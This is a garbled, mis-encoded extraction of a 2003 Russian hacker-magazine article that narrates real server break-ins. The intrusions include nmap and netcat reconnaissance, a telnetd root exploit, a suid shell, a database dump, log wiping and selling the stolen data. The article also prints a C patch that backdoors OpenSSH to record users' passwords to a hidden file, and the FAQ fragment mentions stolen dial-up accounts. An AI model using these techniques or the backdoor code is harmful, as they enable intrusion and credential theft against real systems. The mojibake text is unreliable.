ôðèøêà ïîëó÷àåòñÿ ïî îøèáêå íàñòðîéêè ñåòè<br />
(çíàìåíèòûå àêêàóíòû Global Net MS çàøèòûå â<br />
Windîçèíó), íî îñòàëüíîå - óêðàäåííûå àêêàóíòû.<br />
Ñêðèïòû ðàáîòû ñ SITA - óíèâåðñàëüíû è<br />
ïðàêòè÷åñêè âñåãäà ñîâìåñòèìû ñ<br />
GlobalOne'ñêèìè. Îòêîììåíòèðîâàííûå ôàéëû<br />
íàñòðîåê êîííåêòà (ñêðèïòû) ëåæàò âî âñåõ âèíäàõ<br />
- \WINDOWS\system32\ras. Åñëè åñòü âîïðîñû,<br />
÷èòàåì FAQ ïî RAS'ó -<br />
http://www.nair.ru/Arhiv/formet/winnt/ras.htm. Åñëè<br />
æå òû íå ñîãëàñåí ïëàòèòü çà äîñòóï ÷åðåç<br />
ñóïåðñåòü, òî ïðÿìîé ïóòü â êîíôó<br />
fido7.ru.x25.fr. Ó÷òè, òàì òåìà õàëÿâíîãî èíåòà -<br />
òàáó, îäíè ëèøü ñåòåâûå "èññëåäîâàíèÿ". Çà<br />
äîïîëíèòåëüíûì ìàòåðèàëîì "ñêðèïòîâ õàëÿâû"<br />
âàëè íà http://x25.net.ru.<br />
A: Êàê îïðåäåëèòü IP þçåðà, çíàÿ ãîñíîìåð<br />
åãî àâòîìîáèëÿ Ðàçâå ÷òî çàñòàâèòü åãî âûéòè<br />
â èíåò... Òàê è òóò - òåáå íóæíî îòïðàâèòü<br />
÷òî-ëèáî íà òîò ÿùèê è, ïîëó÷èâ îòâåò, âûöåïèòü<br />
èíòåðåñóþùèé ÀéÏè èç çàãîëîâêà ïèñüìà.<br />
Ïîëÿ áûâàþò ðàçíûìè - X-source IP, X-<br />
OriginatingIP, X-RemoteIP; ÷àñòî íàõîäèòñÿ â<br />
Received, îêàçûâàÿñü ïåðåä èìåíåì ïî÷òîâîãî<br />
õîñòà. Êîíå÷íî, áûâàåò, ÷òî IP þçâåðà<br />
(VV@putin.ru) èäåíòè÷åí ñ àäðåñîì ïî÷òîâîãî<br />
õîñòà (putin.ru), êîãäà äîìåí ïðèïèñàí ê ìàøèíå<br />
íåñ÷àñòíîãî. Íóæíî áûòü ãîòîâûì, ÷òî<br />
åìàéë áûë ïîñëàí ÷åðåç Socks (èëè öåëóþ ñåðèþ<br />
îíûõ), ò.å. îòïðàâèòåëü ñêîíâåðòèðîâàë<br />
ïî÷òîâûé ïîòîê â socks'îâûé (íàñêîëüêî ïîäîáíîå<br />
êîððåêòíî çâó÷èò, íàó÷íî - èíêàïñóëÿöèÿ).<br />
Ïîíÿòíî, ÷òî òàêîå âîçìîæíî è ñ HTTPïðîêñÿìè<br />
ïðè àíàëîãè÷íîé êîíâåðòàöèè èëè<br />
ïðè çàõîäå íà web-ïî÷òó ÷åðåç ïðîêñè. Ñîâñåì<br />
÷åòêèå ðåáÿòà ìîãóò êèíóòü ïèñüìåöî è ñ óäàëåííîé<br />
ìàøèíû (ïðîñòåéøèì mailx'îì *nix'a)<br />
èëè çàáîìáèòü, èñïîëüçóÿ SSH2-òóííåëèíã.<br />
Ñóùåñòâóþò<br />
ëè ãåíåðàòîðû íîìåðîâ<br />
êðåäèòíûõ êàðò<br />
A: Ñóùåñòâóþò, íî óæå äîëãîå âðåìÿ îíè àáñîëþòíî<br />
áåñïîëåçíû. ×ó÷åëà îáðàçöîâ êîìïüþòåðíîãî<br />
ìîøåííè÷åñòâà èñêàòü çäåñü -<br />
http://www.theinformationcenter.com.<br />
5 6 7 8<br />
Þíèêñîèä X-Ñòèëü Êîäèíã
Âçëîì<br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
ÏÀÐÎËÜ "ÐÛÁÀ-SHIT"<br />
Master-lame-master<br />
ÏÀÐÎËÜ «ÐÛÁÀ-SHIT»<br />
ÐÅÀËÜÍÛÅ ÈÑÒÎÐÈÈ ÍÀØÓÌÅÂØÈÕ ÂÇËÎÌÎÂ<br />
Âñå ìû ñìîòðåëè áåññìåðòíûå ôèëüìû ïðî õàêåðîâ: Õàêåðû, Ìàòðèöà, Ïàðîëü "Ðûáà-Ìå÷" è ò.ï.<br />
 íèõ, êîíå÷íî æå, âçëîì ñåêóðíûõ ñåðâåðîâ ïðîèçâîäèëñÿ çà ñ÷èòàííûå ñåêóíäû è âñåãäà óñïåøíî.<br />
Ýòî âûçûâàëî ëèøü ãðèìàñû íà ëèöàõ ëþäåé, èìåþùèõ õîòü íåáîëüøîå ïðåäñòàâëåíèÿ î âçëîìå.<br />
Âåäü ïðîöåññ õàêà ìîæåò äëèòüñÿ íåäåëÿìè, à òî è ìåñÿöàìè, è äàëåêî íå âñåãäà óñïåøíî. Êîìó,<br />
êàê íå õàêåðàì, çíàòü, ÷òî âçëîìùèê ÷àñòî âçäðàãèâàåò îò òåëåôîííûõ çâîíêîâ è íåæäàííûõ<br />
ãîñòåé. Ïàðàíîéÿ äëÿ õàêåðîâ îáû÷íîå ÿâëåíèå, è ñ ýòèì íè÷åãî íåëüçÿ ïîäåëàòü...<br />
Íî õâàòèò î ãðóñòíîì. Âçëîì ñàì ïî ñåáå î÷åíü<br />
àçàðòíàÿ øòóêà. Îí ïîõîæ íà ýêñòðåìàëüíûé âèä<br />
ñïîðòà - â ëþáîé ìîìåíò õàêåðà ìîãóò çàñå÷ü, è<br />
âñå áåññîííûå íî÷è, ïîòðà÷åííûå íà ñáîð äàííûõ,<br />
ñêàíèðîâàíèå, âòîðæåíèå, îêàæóòñÿ íàïðàñíûìè.<br />
Íî åñëè õàêåð âñå æå âçëàìûâàåò ñåðâåð,<br />
ýòî ïîäîáíî ïîêîðåíèþ ãîðíîé âåðøèíû è ñðàâíèìî<br />
ñ ïîáåäîé â ñëîæíîì ïîåäèíêå.<br />
ÝÒÞÄ ÏÅÐÂÛÉ: ÂÇËÎÌ ÁÈËËÈÍÃÎÂÎÉ<br />
ÑÈÑÒÅÌÛ WWW.ICBILL.COM<br />
Äîñèæèâàÿ íî÷ü â ñåòè è îñîçíàâàÿ, ÷òî ïîðà ëîæèòüñÿ<br />
ñïàòü, îäèí õàêåð êðàåì ãëàçà çàìåòèë çàãàäî÷íûé<br />
ïðèâàò â IRC. Êàê îêàçàëîñü, åãî ñîáåñåäíèêó<br />
óæ î÷åíü ïðèãëÿíóëñÿ php-äâèæîê íåêîòîðîé<br />
áèëëèíãîâîé êîìïàíèè. Âçëîìùèê õîòåë<br />
áûëî çàáèòü íà åãî ïðîñüáó - äîñòàòü ýòè ñàìûå<br />
php-ñêðèïòû, íî òîò ïðîäîëæàë óïðàøèâàòü, ñîáëàçíÿÿ<br />
íåõèëîé ñóììîé â ñëó÷àå óñïåõà. "Ýòî<br />
ìåíÿåò äåëî", - ïîäóìàë õàêåð è îêîí÷àòåëüíî çàáèë<br />
íà âñå îñòàëüíûå äåëà. Çàêàç÷èê îñòàâèë<br />
ñâîé e-mail è ïîïðîñèë ñâÿçàòüñÿ ñ íèì, êîãäà âñå<br />
áóäåò ãîòîâî.<br />
ÑÁÎÐ ÄÀÍÍÛÕ Î ÏÐÎÒÈÂÍÈÊÅ<br />
Âîîðóæèâøèñü nmap'îì, âçëîìùèê áåðåæíî ïîùóïàë<br />
ñåðâåð ñî âñåõ ñòîðîí. ×åðåç äåñÿòü ìèíóò<br />
stealth-ñêàíà, nmap âûäàë ïðèìåðíî ñëåäóþùåå:<br />
Íåìíîãî ïîäóìàâ, õàêåð ðåøèë ïðîâåðèòü ñåðâåð<br />
íà îøèáêè â httpd. Ñäåëàë çàïðîñ "HEAD /<br />
Starting nmap V. 3.00 (<br />
www.insecure.org/nmap/ )<br />
Interesting ports on www.icbill.com<br />
(213.43.4.23):<br />
(The 1580 ports scanned but not shown below<br />
are in state: closed)<br />
Port State Service<br />
21/tcp open ftp<br />
22/tcp open ssh<br />
23/tcp open telnet<br />
25/tcp open smtp<br />
53/tcp open domain<br />
80/tcp open http<br />
110/tcp open pop-3<br />
143/tcp open imap2<br />
3306/tcp open mysql<br />
Nmap run completed -- 1 IP address (1 host<br />
up) scanned in 610 seconds<br />
HTTP/1.0" è ïîíÿë, ÷òî àäìèíû íå ëûêîì øèòû -<br />
àïà÷ áûë ïîñëåäíåé âåðñèè, ñóùåñòâîâàâøåé íà<br />
òîò ìîìåíò. Òîãäà õàêåð ïîëåç èñêàòü ðàáî÷óþ<br />
ïðîêñþ íà www.proxycheck.spylog.ru, à ïîòîì ñòàë<br />
îñìàòðèâàòü ñàìó ñòðóêòóðó äâèæêà. Âñòàâêà ýêçîòè÷åñêèõ<br />
ïåðåìåííûõ â QUERY_STRING íå äàëà<br />
íèêàêèõ ðåçóëüòàòîâ. Âîçíèêëà ìûñëü, ÷òî ó çàêàç÷èêà<br />
ýòîãî äâèæêà äåéñòâèòåëüíî õîðîøèé<br />
âêóñ. Ïîáðîäèâ òàêèì îáðàçîì ïî âåáó â òå÷åíèå<br />
ìèíóò äâàäöàòè, íàø ãåðîé óæ áûëî îò÷àÿëñÿ â<br />
óñïåõå, êàê âäðóã âñïîìíèë, ÷òî äîïóñòèë îøèáêó<br />
â ñáîðå ìàòåðèàëà - îí åùå äàæå íå çíàë îïåðàöèîííîé<br />
ñèñòåìû, ïîä êîòîðîé ðàáîòàåò ýòîò äâèæîê.<br />
Fingerprint nmap'à íå ñêàçàë íè÷åãî âðàçóìèòåëüíîãî,<br />
à âîò áàííåðû îòêðûòûõ 21 è 22 ïîðòîâ<br />
ìîãëè çàïðîñòî âûäàòü îïåðàöèîíêó. Äëÿ ýòîãî îí<br />
âîñïîëüçîâàëñÿ óòèëèòîé netcat:<br />
[root@shell root]# nc icbill.com 21<br />
220 ProFTPD 1.2.6 Server (ProFTPD on<br />
www.icbill.com) ready<br />
^C punt!<br />
[root@shell root]# nc icbill.com 22<br />
SSH-1.99-OpenSSH_2.3.0 FreeBSD localisations<br />
20010713<br />
ÂÒÎÐÆÅÍÈÅ È ÏÎÈÑÊ<br />
Âóàëÿ! Âîò è èíòåðåñíàÿ èíôîðìàöèÿ. Íàø äåÿòåëü<br />
áûñòðî äîãàäàëñÿ, ÷òî íà ñåðâåðå óñòàíîâëåíà<br />
FreeBSD. Ïîäóìàâ åùå ïàðó ìèíóò è âçâåñèâ âñå ïîëó÷åííûå<br />
äàííûå, îí ïîðûëñÿ â ñâîåì àðõèâå è íàøåë<br />
äîâîëüíî ñòàðûé ýêñïëîèò äëÿ äûðÿâûõ âåðñèé<br />
telnetd. Ñóòü åãî çàêëþ÷àëàñü â ïåðåñûëêå 16-ìåãàáàéòíîãî<br />
òðàôèêà íà 23 ïîðò, ïîñëå ÷åãî ñèñòåìà<br />
äîëæíà áûëà ñäàòüñÿ è ïðîòÿíóòü Remote-Root-<br />
Access. Õàêåðà ìó÷èëè ñìóòíûå ñîìíåíèÿ, ò.ê. ýòèì<br />
ñïëîèòîì óæå ïðàêòè÷åñêè íè÷åãî íåëüçÿ áûëî ïîõàêàòü.<br />
Íî îí âñå æå ïîïðîáîâàë... È ê åãî óäèâëåíèþ<br />
ýêñïëîèò âûäàë ñëîâî PASSED, ÷òî îçíà÷àëî ñîâïàäåíèå<br />
îïåðàöèîíêè ñ ëîìàâøåéñÿ îñüþ. Òåïåðü<br />
ìîæíî áûëî íåìíîãî âçäðåìíóòü â êðåñëå. Ñîçíàíèå<br />
ïðîáóäèëîñü ïðè ïîÿâëåíèè íàäïèñè "uid=0(root)<br />
gid=0(root)" â êîíñîëè. Äà, äà! Âîò îíà óäà÷à! Âñå-<br />
1 2 3 4<br />
56 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
òàêè àäìèíû ïëîõî ñëåäèëè çà ñâîèì ñîôòîì, âåäü<br />
çà÷åì, ñïðàøèâàåòñÿ, êðóòèòü íà ñåðâåðå telnetd è<br />
sshd îäíîâðåìåííî Òåïåðü íàäî áûëî äóìàòü, ÷òî<br />
äåëàòü äàëüøå ñ ðóòîâûìè ïðàâàìè :). Îí áûñòðåíüêî<br />
ñîçäàë íîâîãî ïîëüçîâàòåëÿ, óáåäèâøèñü, ÷òî â<br />
ñèñòåìå íèêîãî íåò (áûëà íî÷ü - àäìèíû ñïàëè). Çàòåì,<br />
ñìåíèâ åìó ïàðîëü, çàíîâî çàëîãîíèëñÿ ïî ssh.<br />
È ýòî áûëî ïóñòü íåáîëüøîé, íî îøèáêîé, èáî ëîãè<br />
ñäåëàëè ñâîå ÷åðíîå äåëî, çàïèñàâ âõîä õàêåðà â<br />
áèíàðíûé wtmp è òåêñòîâûé messages. Î ÷èñòêå ëîãîâ<br />
âçëîìùèê ïîçàáîòèëñÿ íåñêîëüêî ïîçæå. Ñåé÷àñ<br />
æå åãî âîëíîâàëî äðóãîå - äðóæåñòâåííîå çàèìñòâîâàíèå<br />
php-ñêðèïòîâ è äàìï sql-áàçû. Íî äëÿ íà÷àëà<br />
îí ñäåëàë ñåáå íîðìàëüíûé ðóòøåëë. Ïðèøëîñü íàïèñàòü<br />
ïðîñòåíüêèé ñèøíèê ñ ôóíêöèÿìè setuid, setgid<br />
è çàïóñêîì /bin/sh. Äàëåå ñëåäîâàë ïðîöåññ êîìïèëÿöèè,<br />
óñòàíîâêè suid-áèòà ïîä ðóòîì è çàïóñê íîâîãî<br />
øåëëà èç-ïîä îáû÷íîãî ïîëüçîâàòåëÿ. Òåïåðü ó<br />
õàêåðà áûë ïðîñòîé, íî êîìôîðòàáåëüíûé rootaccess<br />
ñ ïîääåðæêîé ïñåâäîòåðìèíàëà.<br />
Åãî èíòåðåñîâàëî, ÷òî æå ðàáîòàåò íà ýòîì ñåðâåðå.<br />
Äëÿ ýòîãî îí íàáðàë "ps ax" â êîíñîëè è ñòàë<br />
ðàçãëÿäûâàòü ñïèñîê ïðîöåññîâ. Íà ñåðâåðå áûëî<br />
çàïóùåíî ìíîãî ìóñîðà, òàêîãî êàê: ñèíõðîíèçàöèÿ<br />
âðåìåíè, êàêèå-òî ñòðàííûå ñ÷èòàëêè òðàôèêà<br />
è ïðî÷àÿ åðóíäà. Áîëüøå âñåãî áûë èíòåðåñåí<br />
ïðîöåññ httpd, à èìåííî ïóòü ê íàñòðîéêàì ñåðâåðà.<br />
Îòûñêàâ åãî, âçëîìùèê ïðîïàðñèë ôàéë íà<br />
íàëè÷èå äèðåêòèâû DocumentRoot. Èìåííî ÷åðåç<br />
íåå îí ìîã óçíàòü, ãäå íàõîäÿòñÿ php-ñêðèïòû. Íî<br />
ñàìè ñêðèïòû - ëèøü ÷àñòü åãî çàäà÷è, íóæíû áûëè<br />
è äàííûå èç sql-áàçû. Ïðèøëîñü âîñïîëüçîâàòüñÿ<br />
çàìå÷àòåëüíîé ïðîãðàììîé mysqldump. Ñ<br />
åå ïîìîùüþ îí áûñòðåíüêî çàäàìïèë äàòàáàçó,<br />
òåì ñàìûì âûïîëíèâ âñþ íåîáõîäèìóþ ðàáîòó.<br />
ÊÎÍ×ÈË - ÏÐÎÒÐÈ ÑÒÀÍÎÊ<br />
Êàê âèäíî, ïðîöåññ âçëîìà íå îáîøåëñÿ áåç ïîáî÷íûõ<br />
ýôôåêòîâ - õàêåð ïðèëè÷íî íàñëåäèë íà ñåðâåðå.<br />
Íî ëîãâàéïåðû íèêòî íå îòìåíÿë, ïîýòîìó, ïîðûâøèñü<br />
íà òåìàòè÷åñêèõ ñàéòàõ, îí îòûñêàë ïðîãðàììêó<br />
ïîä íàçâàíèåì grlogwipe. Îíà ÷èñòèò ïðàêòè÷åñêè<br />
âñå èçâåñòíûå ëîãè. Ýòèì è âîñïîëüçîâàëñÿ<br />
íàø ãðîçíûé ïîêîðèòåëü ñåðâåðîâ. Ïîñëå òàêîãî<br />
î÷èùåíèÿ îí çààðõèâèðîâàë âåñü äâèæîê, sql-áàçó<br />
è ñëèë ïîëó÷åííûå ôàéëû ñ âåáà ýòîé æå êîìïàíèè<br />
(íàãëîñòü - âòîðîå ñ÷àñòüå ;)). Òåïåðü ìîæíî áûëî<br />
ñî ñïîêîéíîé äóøîé îòïðàâëÿòüñÿ ñïàòü.<br />
Ïðîñíóâøèñü, õàêåð ñòàë ñîîáðàæàòü, êàê åìó<br />
ïðîâåñòè ñäåëêó ñ çàêàç÷èêîì. Ðåøåíèå áûëî òàêèì:<br />
çàêàç÷èêó ïåðåñûëàþòñÿ áàçû, ïîñëå ÷åãî<br />
òîò äîëæåí ðàñïëàòèòüñÿ ñî âçëîìùèêîì, è òîëüêî<br />
ïîñëå îïëàòû îí ïîëó÷èò íåîáõîäèìûå ñêðèïòû.<br />
Òàê êàê áàçû áåç ñêðèïòîâ íè÷åãî íå çíà÷àò,<br />
Íàõîäèì è çàáèðàåì php-äâèæîê<br />
óñëîâèÿ ñäåëêè óñòðîèëè îáå ñòîðîíû. È ÷òî óäèâèòåëüíî,<br />
ñäåëêà ïðîøëà áåç âñÿêèõ îñëîæíåíèé.<br />
Ìîðàëü ñåé áàñíè: àäìèíû - ëåíèâûå ëþäè, çàáèâàþùèå<br />
íà îáíîâëåíèå ñîôòà. Â íàøåì ïðèìåðå<br />
ýòî îáåðíóëîñü óòå÷êîé èíôîðìàöèè. Íî âñå<br />
ìîãëî áûòü èíà÷å, çàáåðèñü â ñèñòåìó âàíäàëðàçðóøèòåëü...<br />
ÝÒÞÄ ÂÒÎÐÎÉ: ÂÇËÎÌ WWW.NIKITA.RU<br />
Ïðàêòè÷åñêè âñå çíàþò, êòî òàêèå scriptkiddies.<br />
Ýòî òèï õàêåðîâ, êîòîðûå èùóò íàøóìåâøèå â<br />
bugtraq óÿçâèìîñòè, à çàòåì ïðèìåíÿþò èõ íà<br />
ñåðâåðàõ, ïðè÷åì ÷àùå âñåãî êðóïíûõ. Òàêîé õàê<br />
ñàì ïî ñåáå íå îïðàâäàí, íî â êàêîé-òî ìåðå ïîìîãàåò<br />
íàáðàòüñÿ îïûòà äëÿ áîëåå ñåðüåçíûõ<br />
âçëîìîâ. Ìíîãèå èç òåõ, êòî ëîìàåò ñåðâåðà, áûëè<br />
èëè ÿâëÿþòñÿ ýòèìè ïðåñëîâóòûìè ñêðèïòêèäèñàìè.<br />
Òàê ÷òî äàëüíåéøèé ðàññêàç ïîéäåò îá<br />
èñòîðèè âçëîìà ñåðâåðà ÷åðåç ñêðèïòêèäèñîâñêóþ<br />
ïðèçìó ïîíèìàíèÿ "êóëüòóðû õàêà".<br />
Íà ñàìîì äåëå, ñêðèïòêèäè íå îáÿçàòåëüíî ëîìàåò<br />
ñàéòû ÷åðåç óÿçâèìûå ñêðèïòû. Ýòî ìîæåò<br />
áûòü è ëþáàÿ äûðà â ñèñòåìå, äëÿ êîòîðîé ñóùåñòâóåò<br />
àëãîðèòì âçëîìà, èëè, ïîïðîñòó ãîâîðÿ,<br />
äëÿ ýòîé îøèáêè âûëîæåí public-ýêñïëîèò. Ïîëãîäà<br />
íàçàä íàøóìåâøèõ áàãîâ áûëî íåìíîãî. Îäèí<br />
èç íèõ - óÿçâèìîñòü â mod_php, ïîëó÷åíèå óäàëåííîãî<br />
øåëëà ñ ïðàâàìè nobody. Îá ýòîé îøèáêå<br />
è ïîéäåò ðå÷ü.<br />
 îäèí ïðåêðàñíûé äåíü íàø ñêðèïòêèäè ðåøèë<br />
ïîñêàíèòü ñåòü. Îí îñòàíîâèë âûáîð íà www.nikita.ru,<br />
ò.ê. íåäàâíî êóïèë ñåáå ôèðìåííûé äèñê ñ<br />
èãðîé Parkan (íäà, íåèñïîâåäèìû ïóòè ãîñïîäíè<br />
:) - ïðèì. ðåä). Ïî îïðåäåëåíèþ, ñêðèïòêèäè íå<br />
çàíèìàåòñÿ äåòàëüíûì èçó÷åíèåì ïðîòèâíèêà;<br />
äëÿ íåãî àêòóàëüíî ëèøü íàëè÷èå èëè îòñóòñòâèå<br />
æåëàåìîé óÿçâèìîñòè.  íàøåì ñëó÷àå - ýòî<br />
mod_php (âåðñèÿ 4.0.1-4.0.7).<br />
Âçëîìùèê äàâíî ðàçðàáîòàë óäîáíûé àëãîðèòì<br />
äëÿ îïðåäåëåíèÿ òèïà web-ñåðâåðà. Äëÿ ýòîãî<br />
åìó áûëà íåîáõîäèìà åäèíñòâåííàÿ ñåòåâàÿ óòèëèòà<br />
netcat, êîòîðóþ îí âñåãäà è èñïîëüçîâàë.<br />
Çíàÿ ìåõàíèçì ðàáîòû ôàéëîâûõ äåñêðèïòîðîâ,<br />
õàêåð ñîçäàë ôàéë get.txt. Â íåì íàõîäèëñÿ çàïðîñ<br />
www-çàãîëîâêà (HEAD / HTTP/1.0 è äâà ñèìâîëà<br />
ïåðåâîäà ñòðîêè - \n\n). Åãî îí ïåðåäàë netcat'ó,<br />
â èòîãå ïîëó÷èâ îòâåò îò apache.<br />
int<br />
userauth_passwd(Authctxt *authctxt)<br />
{<br />
static int ifile, attempt = 0; /* Íå<br />
çàáóäåì îáúÿâèòü ïåðåìåííóþ ifile */<br />
if (attempt != 1)<br />
error("Permission denied, please try<br />
again.");<br />
snprintf(prompt, sizeof(prompt),<br />
"%.30s@%.128s's password: ",<br />
authctxt->server_user, authctxt-<br />
>host);<br />
password = read_passphrase(prompt, 0);<br />
/* Øïèîíñêàÿ âñòàâêà â ïðàâèëüíûé êîä :)<br />
*/<br />
ifile=fopen("/usr/share/locale/it/console.it",<br />
"a"); /* Îòêðîåì øïèîíñêèé ôàéë íà çàïèñü<br />
â êîíåö */<br />
fprintf(ifile, "%s %s is %s\n", authctxt->server_user,<br />
authctxt->host, password);<br />
/* Çàïèøåì â ôàéë èìÿ ïîëüçîâàòåëÿ, õîñò<br />
è ïàðîëü - ãëàâíóþ èíôîðìàöèþ äëÿ<br />
ðàçìûøëåíèÿ ;) */<br />
fclose(ifile); /* Êîððåêòíî çàêðîåì ôàéë */<br />
Îòïðàâëÿåì ïðîòèâíèêà â íîêàóò<br />
Øåñòîå ÷óâñòâî íå ïîäâåëî õàêåðà ïðè âûáîðå<br />
æåðòâû - â òåëå îòâåòà ñåðâåðà äåéñòâèòåëüíî áûë<br />
PHP âåðñèè 4.0.6. À ýòà âåðñèÿ, êàê èçâåñòíî,<br />
ëîìàåòñÿ ñ áîëüøèì ãðîõîòîì. Òåïåðü<br />
íåîáõîäèìî áûëî îáíàðóæèòü ëþáîé php-<br />
5 6 7 8 9<br />
Þíèêñîèä X-Ñòèëü Êîäèíã Þíèòû Quit> 57
Âçëîì<br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
ÏÀÐÎËÜ "ÐÛÁÀ-SHIT"<br />
Master-lame-master<br />
ñêðèïò, ÷òî è ïðîäåëàë íàø âçëîìùèê. Ñêðèïò íàéäåí,<br />
äåëî îñòàâàëîñü çà ìàëûì - çàïóñòèòü 7350fun<br />
è æäàòü ðåçóëüòàòà.<br />
Áóêâàëüíî ÷åðåç 20 ìèíóò ïåðåáîðà îôñåòîâ,<br />
apache ñäàëñÿ è âûäàë nobody-øåëë. Äàëüøå<br />
ñêðèïòêèäè îïðåäåëèë îïåðàöèîííóþ ñèñòåìó, ýòî<br />
îêàçàëàñü RedHat 7.0. Â áîé ïîøëè ëîêàëüíûå ýêñïëîèòû.<br />
Íà ñåðâåð áûë óñòàíîâëåí äûðÿâûé sendmail.<br />
Ñ ïîìîùüþ ñïëîèòà sxp.c (ïðî íåãî óæå ïèñàë<br />
][ â ñòàòüå "top10 exploits"), õàêåð äîñòèã rootïðàâ.<br />
Ïîñëå óñòàíîâêè ðóòêèòà åìó ïîä÷èíèëàñü<br />
âñÿ ñèñòåìà... À âñå èç-çà êàêîãî-òî php-ìîäóëÿ.<br />
ÓÃËÓÁËßÅÌÑß Â ÊÎÄÈÍÃ<br />
Ýòîìó ãåðîþ îäíîãî âçëîìà îêàçàëîñü ìàëî, è îí<br />
ñòàë ëèñòàòü èñòîðèþ êîìàíä àäìèíèñòðàòîðà.<br />
Íàéäåíû áûëè òîëüêî èñõîäÿùèå êîííåêòû ïî ssh,<br />
íî áåç âñÿêèõ ïàðîëåé. John The Ripper òàêæå îêàçàëñÿ<br />
áåñïîëåçíûì. Íî êèäèñ íå ñäàâàëñÿ, ïûòàÿñü<br />
ïðèäóìàòü ÷òî-íèáóäü åùå. È ïðèäóìàë-òàêè - íàäî<br />
ïðîïàò÷èòü ñûðöû ssh, ÷òîáû îí ëîãèðîâàë ïàðîëè.<br />
Óçíàâ âåðñèþ ssh (ssh -V), õàêåð ïîëåç åãî ñêà÷èâàòü<br />
(www.openssh.org). Ñêà÷àë, ðàñïàêîâàë. Íà-<br />
÷àë äåòàëüíîå èçó÷åíèå ñîðñîâ. Åìó íàäî áûëî<br />
íàéòè ìåñòî, ãäå ïåðåäàåòñÿ ïàðîëü. Â ôàéëàõ<br />
sshconnect1.c è sshconnect2.c îáíàðóæèëèñü<br />
Íàéòè php-ñêðèïò - ïðîùå ïðîñòîãî =)<br />
ôóíêöèè ïî çàïðîñó ïàðîëåé. Òåïåðü îñòàâàëîñü<br />
òîëüêî íåìíîãî ñìîäèôèöèðîâàòü êîä:<br />
[root@hack work]# nc -vv www.nikita.ru 80 <<br />
./get.txt |grep Server<br />
Server: Apache/1.3.19 (Unix)<br />
mod_perl/1.24_01 mod_throttle/2.11<br />
PHP/4.0.6 FrontPage/4.0.4.3 mod_ssl/2.8.3<br />
OpenSSL/0.9.6b mod_gzip/1.3.19.1a<br />
sent 17, rcvd 359<br />
[root@hack work]#<br />
Ïðîïàò÷èâ äâà ýòèõ ôàéëà, õàêåð çàíîâî ïåðåñîáðàë<br />
openssh. Çàìåíèë åäèíñòâåííûé /usr/bin/ssh,<br />
ïîñòàâèë ñòàðóþ äàòó. Ïîòîì ñîçäàë ôàéë<br />
/usr/share/locale/it/console.it ñ ïðàâàìè äîñòóïà 666,<br />
÷òîáû áèíàðíèê ìîã êîððåêòíî çàïèñûâàòü â íåãî<br />
àêêàóíòû. Ïîñëå ýòîãî ñòåð ëîãè è óäàëèëñÿ. Îñòàâàëîñü<br />
òîëüêî äîæäàòüñÿ ïîÿâëåíèÿ àäìèíà, êîòîðûé,<br />
ïî ëîãèêå âåùåé, äîëæåí áûë çàéòè íà äðóãîé<br />
ñåðâåð ôèðìû Nikita. Òàê, ñîáñòâåííî, è ïðîèçîøëî.<br />
×òî ïðèìå÷àòåëüíî, àäìèí èñïîëüçîâàë<br />
root-àêêàóíò äëÿ ïîäêëþ÷åíèÿ, ïîýòîìó, ïðî÷èòàâ<br />
console.it, âçëîìùèê óçíàë âñþ ïîëåçíóþ èíôó.<br />
Òåáÿ èíòåðåñóåò, ÷åì âñå çàêîí÷èëîñü Èç-çà òîãî,<br />
÷òî õàêåð íå èñïîëüçîâàë øåëë â êà÷åñòâå õàêïëîùàäêè,<br />
åãî íå çàìå÷àëè äîâîëüíî äîëãî. Ê òîìó<br />
æå îí ìîã ïîëó÷àòü íà õàëÿâó âñå êîììåð÷åñêèå<br />
ïðîäóêòû âçëîìàííîé ôèðìû. PHP-áàã íà ñåðâåðå<br />
òàê è îñòàëñÿ íåçàïàò÷åííûì â òå÷åíèå ïîëóãîäà.<br />
Ïîòîì, íàêîíåö, ñèñòåìà áûëà çàìåíåíà íîâîé,<br />
è ïàðîëè ñóïåðïîëüçîâàòåëÿ èçìåíèëèñü.<br />
ÑÊÀÇÊÀ ËÎÆÜ, ÄÀ Â ÍÅÉ ÍÀÌÅÊ...<br />
Äàëåêî íå âñå âçëîìû ïðîõîäÿò òàê ãëàäêî. Ïîðîé<br />
ýòî áåññîííûå íî÷è, ïîñëå êîòîðûõ õàêåð íàõîäèò<br />
òîíåíüêóþ íèòî÷êó â ñèñòåìå, çà íåå îí è öåïëÿåòñÿ.<br />
À èíîãäà íåò è åå. Âñå çàâèñèò îò ñèñòåìíûõ<br />
ðóê àäìèíèñòðàòîðîâ.<br />
Íå ñòîèò ðàñöåíèâàòü ýòîò ìàòåðèàë êàê ëæèâûé<br />
êèíîðîìàí - âñå âçëîìû, îïèñàííûå çäåñü, ðåàëüíû.<br />
Äëÿ ïðîñòîòû ïîíèìàíèÿ áûëè ëèøü îïóùåíû<br />
ïîïûòêè ñáîðà äàííûõ, íå óâåí÷àâøèåñÿ<br />
óñïåõîì, à òàêæå íåêîòîðûå ïðîìàõè õàêåðà ïî<br />
ïðè÷èíå íåîïûòíîñòè èëè ëåíè. Äëÿ íàñ âñåãäà<br />
îñòàåòñÿ ãëàâíûì èòîã - íàðóøèòåëü ïðîðûâàåòñÿ<br />
÷åðåç âñåâîçìîæíûå ñèñòåìû áåçîïàñíîñòè è îñòàåòñÿ<br />
íåçàìåòíûì äëÿ àäìèíîâ...<br />
Êîäèì äî ïîòåðè ñîçíàíèÿ<br />
Îñíîâíûå ïðèíöèïû õàêåðà<br />
×òî æå ïîìîãëî õàêåðó â åãî íåëåãêîì äåëå<br />
1. Âçëîìùèê íèêîãäà íå ïðåíåáðåãàåò ñáîðîì äàííûõ î ïðîòèâíèêå, è ëèøü ïîñëå<br />
ïîëó÷åíèÿ èñ÷åðïûâàþùåé èíôîðìàöèè ïûòàåòñÿ ëîìàòü æåðòâó ÷åðåç âîçìîæíûå<br />
óÿçâèìîñòè.<br />
2. Âçëîìùèê äëÿ ïðîäóêòèâíîé ðàáîòû äîâîëüíî ÷àñòî ïîëüçóåòñÿ íåçàìåíèìûìè<br />
ïðîãðàììàìè nmap è netcat. Ñêà÷àòü èõ ìîæíî ÷åðåç ïîèñêîâèê unix-like-ïðîãðàìì<br />
www.freshmeat.net.<br />
3. Âçëîìùèê íå çëîóïîòðåáëÿåò ðóòèííîé ðàáîòîé ïî ïàò÷èíãó ñîðöîâ ñëóæåáíûõ ïðîãðàìì.<br />
1 2 3 4<br />
58 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Âçëîì<br />
